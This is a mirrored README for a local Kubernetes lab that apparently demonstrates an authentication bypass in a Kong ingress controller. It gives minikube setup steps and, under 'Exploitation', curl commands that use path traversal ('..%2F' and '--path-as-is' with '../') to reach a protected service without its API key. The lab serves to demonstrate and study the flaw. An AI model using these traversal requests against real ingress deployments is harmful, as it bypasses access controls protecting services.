Giter Club home page Giter Club logo

k8s-ingress-auth-bypass-kong's Introduction

Installation

  • install minikube
  • create namespace: kubectl create ns kong
  • create external auth plugin in configMap: kubectl create configmap kong-external-auth-plugin --from-file=kong-external-auth-plugin -n kong
  • install kong ingress helm install kong/kong -n kong --generate-name --set ingressController.installCRDs=false --values values.yaml --version 2.6.0
  • wait for it to run all pods and services
  • add 127.0.0.1 app.test to /etc/hosts
  • apply kong plugins config: kubectl apply -f plugins.yaml
  • apply kubernetes configuration: kubectl apply -f app.yaml
  • run minikube tunnel

Optional steps to build custom docker images:

  • build docker images:
    • cd auth-service; docker build -t auth-service:0.0.2-kong .
    • cd protected-service; docker build -t protected-service:0.0.1 .
    • cd public-service; docker build -t public-service:0.0.1 .
  • push docker images into minikube:
    • minikube image load auth-service:0.0.2-kong
    • minikube image load protected-service:0.0.1
    • minikube image load public-service:0.0.1

Exploitation

To access public service: curl -v http://app.test/public-service/public

To access protected service: curl -v http://app.test/protected-service/protected -H "X-Api-Key: secret-api-key"

To access protected service bypassing authentication: curl -v http://app.test/public-service/..%2Fprotected-service/protected To access protected service bypassing authentication: curl --path-as-is -v http://app.test/public-service/../protected-service/protected

k8s-ingress-auth-bypass-kong's People

Contributors

xvnpw avatar

Stargazers

huangyouguang avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.